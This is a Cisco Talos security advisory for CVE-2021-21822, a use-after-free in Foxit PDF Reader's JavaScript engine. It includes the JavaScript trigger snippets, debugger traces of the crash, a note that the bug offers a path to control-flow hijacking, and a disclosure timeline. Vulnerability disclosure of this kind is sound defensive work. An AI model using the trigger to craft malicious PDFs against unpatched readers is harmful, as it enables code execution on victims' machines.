CVE-2021-21822
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 10.1.3.37598. A specially crafted PDF document can trigger the reuse of previously free memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening a malicious file or site to trigger this vulnerability if the browser plugin extension is enabled.
Foxit Reader 10.1.3.37598
https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use after free vulnerability in the way Foxit Reader handles certain annotation types. The attached proof of concept PDF document demonstrates this vulnerability. In document open javascript action we have:
function main() {
this.pageNum = 1;
this.addAnnot({page: 1, type: "FileAttachment", point: [11,14,6,8]});
}
Above code switches the current page from 0 to 1. The effect of this is that a page close handler function for page 0 will be queued for execution. The execution in main continues and an annotation of type “FileAttachment” is added to the page. This annotation is special in that it pops up a file chooser dialog box which effectively blocks the execution so the page close handler kicks in. In the close page handler we have the following:
function f123() {
global.saved_this.getAnnots()[0].destroy();
}
The above simply destroys the annotation created in main
. The result of this is that the annotation’s backing object gets freed. The handler is finished and execution returns to blocking dialog box. When the dialog box is dismissed in any way (selecting a file, closing , canceling) the rest of annotation creation code is executed, but the memory backing the object is freed which can result in memory corruption. This can be observed in the debugger:
0:000> k 10
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 06fbb148 017d5991 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2da31
01 06fbb1e4 017d8e7c FoxitReader!CryptUIWizExport+0x5920f1
02 06fbb294 01030852 FoxitReader!CryptUIWizExport+0x5955dc
03 06fbb2a8 0147fd93 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2ab5e2
04 06fbb308 01472925 FoxitReader!CryptUIWizExport+0x23c4f3
05 06fbb364 02cb016b FoxitReader!CryptUIWizExport+0x22f085
06 06fbb3ac 02e75e59 FoxitReader!FXJSE_GetClass+0x22b
07 06fbb400 02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x1c5729
08 06fbb494 02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c4ebf
09 06fbb4dc 02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x1c5181
0a 06fbb4f8 0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c501b
0b 06fbb514 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x36c6c7
0c 06fbb54c 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x2fb000
0d 06fbb578 02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x2fb000
0e 06fbb58c 02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x2f8b8f
0f 06fbb5b8 02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x2f89ab
0:000> !heap -p -a ebx
address 1c5e8f98 found in
_DPH_HEAP_ROOT @ 9a71000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1c5f0514: 1c5e8f98 68 - 1c5e8000 2000
? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+c36ac
695dabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7721245b ntdll!RtlDebugAllocateHeap+0x00000039
77176dd9 ntdll!RtlpAllocateHeap+0x000000f9
77175ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77175d3e ntdll!RtlAllocateHeap+0x0000003e
03e147ac FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe6c
03b2c89e FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00003f5e
01e4cdba FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00436eda
01036f0d FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002b1c9d
00afd5da FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d07a
00afddc0 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d860
00afd54a FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002cfea
014744a7 FoxitReader!CryptUIWizExport+0x00230c07
01473641 FoxitReader!CryptUIWizExport+0x0022fda1
0135de3d FoxitReader!CryptUIWizExport+0x0011a59d
0132a0b5 FoxitReader!CryptUIWizExport+0x000e6815
02cb016b FoxitReader!FXJSE_GetClass+0x0000022b
02e75e59 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5729
02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ebf
02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5181
02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x001c501b
0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c6c7
02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x002f8b8f
02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x002f89ab
02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x00035e96
02ce60a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00035977
02cd33a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c77
02cae8bf FoxitReader!FXJSE_Runtime_Release+0x00000c4f
02caf0d4 FoxitReader!FXJSE_ExecuteScript+0x00000014
013a6e22 FoxitReader!CryptUIWizExport+0x00163582
0:000> dd ebx
1c5e8f98 045b4908 1d31eff8 1f846fc0 0c5b0f70
1c5e8fa8 c0c0c000 ffffffff 18da4fc8 01010101
1c5e8fb8 00000004 00000000 00000000 00000000
1c5e8fc8 00000000 00000000 00000000 201deff0
1c5e8fd8 00000000 0c1b0ff0 00000000 18eaeff8
1c5e8fe8 140407e5 01250917 c0c00000 00000000
1c5e8ff8 c0c0c000 1f846fc0 ???????? ????????
1c5e9008 ???????? ???????? ???????? ????????
0:000> u eip
FoxitReader!std::basic_ostream >::operator0:000> u eip+2
FoxitReader!std::basic_ostream >::operator:
00afdf93 8bcb mov ecx,ebx
00afdf95 c745e401000000 mov dword ptr [ebp-1Ch],1
00afdf9c ff5008 call dword ptr [eax+8]
00afdf9f 8945e0 mov dword ptr [ebp-20h],eax
00afdfa2 85c0 test eax,eax
00afdfa4 0f84fb020000 je FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2dd45 (00afe2a5)
00afdfaa 8d4dd8 lea ecx,[ebp-28h]
00afdfad c745d840d9f204 mov dword ptr [ebp-28h],offset FoxitReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x14fe4 (04f2d940)
0:000> u poi(poi(ebx)+8)
FoxitReader!std::basic_ios >::fill+0x285580:
0100a7f0 8b4108 mov eax,dword ptr [ecx+8]
0100a7f3 c3 ret
0100a7f4 cc int 3
0100a7f5 cc int 3
0100a7f6 cc int 3
0100a7f7 cc int 3
0100a7f8 cc int 3
0100a7f9 cc int 3
Above, we can see a carefully placed breakpoint at the time where object is first being accessed. We can see the size of the allocation, 0x68
, and the memory address 0x1c5e8f98
. Continuing the execution and breaking just after the call to destroy()
in page close handler we can see the following:
0:000> g
ModLoad: 67870000 67918000 C:\WINDOWS\SysWOW64\Windows.Storage.Search.dll
(113c.2884): Break instruction exception - code 80000003 (first chance)
eax=071f7000 ebx=00000000 ecx=771d42f0 edx=771d42f0 esi=771d42f0 edi=771d42f0
eip=7719cbd0 esp=3934fb5c ebp=3934fb88 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!DbgBreakPoint:
7719cbd0 cc int 3
0:021> !heap -p -a 1c5e8f98
address 1c5e8f98 found in
_DPH_HEAP_ROOT @ 9a71000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
1c5f0514: 1c5e8000 2000
695dae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77212c91 ntdll!RtlDebugFreeHeap+0x0000003e
77173c45 ntdll!RtlpFreeHeap+0x000000d5
77173812 ntdll!RtlFreeHeap+0x00000222
75f6b24b combase!CoTaskMemFree+0x0000003b [onecore\com\combase\class\memapi.cxx @ 467]
679438bc StructuredQuery!StructuredQuery1::BaseCondition::Release+0x0000009c
6796b46c StructuredQuery!FixedCapacityObjectCollection::~FixedCapacityObjectCollection+0x00000050
6795acb9 StructuredQuery!FixedCapacityObjectCollection::`scalar deleting destructor'+0x0000000a
6796b46c StructuredQuery!FixedCapacityObjectCollection::~FixedCapacityObjectCollection+0x00000050
6795acb9 StructuredQuery!FixedCapacityObjectCollection::`scalar deleting destructor'+0x0000000a
761d89a7 windows_storage!SafeRelease<IActionProgress>+0x0000002a
761aba8a windows_storage!CConditionEvaluator::~CConditionEvaluator+0x0000003d
761abf6e windows_storage!GrepDoesItemMatchCondition+0x000000c4
761ac17b windows_storage!DoesPropertyStoreMatchFilter+0x0000009b
761ac2a6 windows_storage!DoesItemMatchFilter+0x000000bc
7622beec windows_storage!IItemFilter_DoesItemMatchFilter+0x0000011a
7622bd8e windows_storage!_FilterItem+0x000000c1
7622b51f windows_storage!CEnumTask::_FilterItem+0x00000033
761850e7 windows_storage!CEnumTask::_IncrEnumFolder+0x00000183
7622b112 windows_storage!CEnumTask::InternalResumeRT+0x000001e2
762909cc windows_storage!CRunnableTask::Run+0x000000dc
76291ac2 windows_storage!CShellTask::TT_Run+0x00000080
76290bc0 windows_storage!CShellTaskThread::ThreadProc+0x0000009b
7629245c windows_storage!CShellTaskThread::s_ThreadProc+0x0000002c
76c6cb64 shcore!ExecuteWorkItemThreadProc+0x00000024
77155990 ntdll!RtlpTpWorkCallback+0x00000120
77181b22 ntdll!TppWorkerThread+0x000006e2
76778494 KERNEL32!BaseThreadInitThunk+0x00000024
771941c8 ntdll!__RtlUserThreadStart+0x0000002f
77194198 ntdll!_RtlUserThreadStart+0x0000001b
0:021> dd 1c5e8f98
1c5e8f98 ???????? ???????? ???????? ????????
1c5e8fa8 ???????? ???????? ???????? ????????
1c5e8fb8 ???????? ???????? ???????? ????????
1c5e8fc8 ???????? ???????? ???????? ????????
1c5e8fd8 ???????? ???????? ???????? ????????
1c5e8fe8 ???????? ???????? ???????? ????????
1c5e8ff8 ???????? ???????? ???????? ????????
1c5e9008 ???????? ???????? ???????? ????????
0:021> k 5
# ChildEBP RetAddr
00 3934fb58 771d4329 ntdll!DbgBreakPoint
01 3934fb88 76778494 ntdll!DbgUiRemoteBreakin+0x39
02 3934fb9c 771941c8 KERNEL32!BaseThreadInitThunk+0x24
03 3934fbe4 77194198 ntdll!__RtlUserThreadStart+0x2f
04 3934fbf4 00000000 ntdll!_RtlUserThreadStart+0x1b
In the above, we can see that previously allocated memory is now free and can be reclaimed. Continuing execution further leads to reuse of the freed memory and a crash:
Breakpoint 0 hit
eax=06fbe05f ebx=1c5e8f98 ecx=06fbe05f edx=09a70000 esi=1c5e8f98 edi=0c5b0f70
eip=00afdf91 esp=06fbe02c ebp=06fbe06c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitReader!std::basic_ostream >::operator0:000> u
FoxitReader!std::basic_ostream >::operator:
00afdf91 8b03 mov eax,dword ptr [ebx]
00afdf93 8bcb mov ecx,ebx
00afdf95 c745e401000000 mov dword ptr [ebp-1Ch],1
00afdf9c ff5008 call dword ptr [eax+8]
00afdf9f 8945e0 mov dword ptr [ebp-20h],eax
00afdfa2 85c0 test eax,eax
00afdfa4 0f84fb020000 je FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2dd45 (00afe2a5)
00afdfaa 8d4dd8 lea ecx,[ebp-28h]
0:000> dd ebx
1c5e8f98 ???????? ???????? ???????? ????????
1c5e8fa8 ???????? ???????? ???????? ????????
1c5e8fb8 ???????? ???????? ???????? ????????
1c5e8fc8 ???????? ???????? ???????? ????????
1c5e8fd8 ???????? ???????? ???????? ????????
1c5e8fe8 ???????? ???????? ???????? ????????
1c5e8ff8 ???????? ???????? ???????? ????????
1c5e9008 ???????? ???????? ???????? ????????
0:000> !heap -p -a ebx
(113c.2af0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06fbe05f ebx=1c5e8f98 ecx=06fbe05f edx=09a70000 esi=1c5e8f98 edi=0c5b0f70
eip=00afdf91 esp=06fbe02c ebp=06fbe06c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
Again, we see the reuse of the same memory which is now invalid. Additionally, the reuse happens in a form of a vtable dereference, giving a straightforward path to control flow hijacking. Freed memory can be reclaimed and put under control in the page close handler thereby giving control over the dereference. With precise memory control, this can lead to arbitrary code execution.
2021-04-26 - Vendor Disclosure
2021-05-06 - Vendor Patched; Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.